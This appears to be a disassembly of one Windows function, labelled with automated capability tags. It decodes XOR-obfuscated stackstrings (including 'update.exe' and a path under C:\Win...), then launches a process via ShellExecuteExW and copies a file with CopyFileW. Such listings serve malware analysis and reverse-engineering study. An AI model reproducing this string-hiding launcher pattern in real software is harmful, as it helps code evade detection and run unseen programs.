Function at 0x10012020
Capabilities:
Contain obfuscated stackstrings
Copy file
Create process on windows
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x9c
mov eax, dword [0x1005400c]
xor eax, esp
mov dword [esp + 0x98], eax
push ebx
push esi
mov eax, 0xa
mov dword [esp + 0xc], 0x5f005b
push edi
mov dword [esp + 0xc], eax
xor ecx, ecx
mov dword [esp + 0x14], 0x500054
mov dword [esp + 0x18], 0x560046
mov dword [esp + 0x1c], 0x50001a
mov dword [esp + 0x20], 0x52004e
mov dword [esp + 0x24], 0x38
nop dword [eax + eax]
lea eax, [ecx + 0x2e]
xor word [esp + ecx*2 + 0x10], ax
inc ecx
mov eax, dword [esp + 0xc]
cmp ecx, eax
jb 0x10012080
xor ecx, ecx
mov word [esp + eax*2 + 0x10], cx
lea eax, [esp + 0x10]
push ecx
push eax
call fcn.10027378
xorps xmm0, xmm0
mov dword [esp + 0x88], 0
add esp, 8
mov dword [esp + 0x68], 0x3c
mov dword [esp + 0x6c], 0x40
mov dword [esp + 0x70], 0
mov dword [esp + 0x74], 0x1004ed44
movlpd qword [esp + 0x8c], xmm0
movlpd qword [esp + 0x94], xmm0
movlpd qword [esp + 0x9c], xmm0
test eax, eax
jne 0x1001217c
mov ecx, 6
mov dword [esp + 0x10], 0x5f005b
mov dword [esp + 0xc], ecx
mov dword [esp + 0x14], 0x500054
mov dword [esp + 0x18], 0x560046
mov dword [esp + 0x1c], 0x34
lea ecx, [eax + 0x2e]
xor word [esp + eax*2 + 0x10], cx
inc eax
mov ecx, dword [esp + 0xc]
cmp eax, ecx
jb 0x10012120
xor eax, eax
mov word [esp + ecx*2 + 0x10], ax
lea eax, [esp + 0x10]
mov dword [esp + 0x78], eax
mov eax, dword [ebp + 8]
mov dword [esp + 0x7c], eax
lea eax, [esp + 0x68]
push eax
mov dword [esp + 0x88], 0
mov dword [esp + 0x8c], 0
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
push 0xffffffffffffffff
push dword [esp + 0xa4]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x1001235a
mov eax, 0x1c
mov dword [esp + 0x2c], 0x15006d
mov dword [esp + 0x28], eax
xor ecx, ecx
mov dword [esp + 0x30], 0x66006c
mov dword [esp + 0x34], 0x5d005b
mov dword [esp + 0x38], 0x5a0050
mov dword [esp + 0x3c], 0x440041
mov dword [esp + 0x40], 0x4a0064
mov dword [esp + 0x44], 0x480043
mov dword [esp + 0x48], 0x580048
mov dword [esp + 0x4c], 0xc0053
mov dword [esp + 0x50], 0x1d0072
mov dword [esp + 0x54], 0x360021
mov dword [esp + 0x58], 0x290036
mov dword [esp + 0x5c], 0x220068
mov dword [esp + 0x60], 0x2c0030
mov dword [esp + 0x64], 0x4a
nop
lea eax, [ecx + 0x2e]
xor word [esp + ecx*2 + 0x2c], ax
inc ecx
mov eax, dword [esp + 0x28]
cmp ecx, eax
jb 0x10012200
xor ecx, ecx
mov word [esp + eax*2 + 0x2c], cx
lea eax, [esp + 0x2c]
mov dword [esp + 0x78], eax
mov eax, dword [ebp + 8]
mov dword [esp + 0x7c], eax
lea eax, [esp + 0x68]
push eax
mov dword [esp + 0x88], ecx
mov dword [esp + 0x8c], ecx
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
push 0xffffffffffffffff
push dword [esp + 0xa4]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, 0xa
mov dword [esp + 0x10], 0x5f005b
mov dword [esp + 0xc], eax
xor ecx, ecx
mov dword [esp + 0x14], 0x500054
mov dword [esp + 0x18], 0x560046
mov dword [esp + 0x1c], 0x50001a
mov dword [esp + 0x20], 0x52004e
mov dword [esp + 0x24], 0x38
nop word [eax + eax]
lea eax, [ecx + 0x2e]
xor word [esp + ecx*2 + 0x10], ax
inc ecx
mov eax, dword [esp + 0xc]
cmp ecx, eax
jb 0x10012290
xor ecx, ecx
mov word [esp + eax*2 + 0x10], cx
mov eax, 0x1c
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], 0x15006d
mov dword [esp + 0x30], 0x66006c
mov dword [esp + 0x34], 0x5d005b
mov dword [esp + 0x38], 0x5a0050
mov dword [esp + 0x3c], 0x440041
mov dword [esp + 0x40], 0x4a0064
mov dword [esp + 0x44], 0x480043
mov dword [esp + 0x48], 0x580048
mov dword [esp + 0x4c], 0xc0053
mov dword [esp + 0x50], 0x1d0072
mov dword [esp + 0x54], 0x360021
mov dword [esp + 0x58], 0x290036
mov dword [esp + 0x5c], 0x220068
mov dword [esp + 0x60], 0x2c0030
mov dword [esp + 0x64], 0x4a
nop dword [eax]
lea eax, [ecx + 0x2e]
xor word [esp + ecx*2 + 0x2c], ax
inc ecx
mov eax, dword [esp + 0x28]
cmp ecx, eax
jb 0x10012330
xor ecx, ecx
mov word [esp + eax*2 + 0x2c], cx
lea eax, [esp + 0x10]
push 1
push eax
lea eax, [esp + 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
mov edx, dword [ebp + 8]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x10012375
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [esp + 0xa4]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.100154d9
mov esp, ebp
pop ebp
ret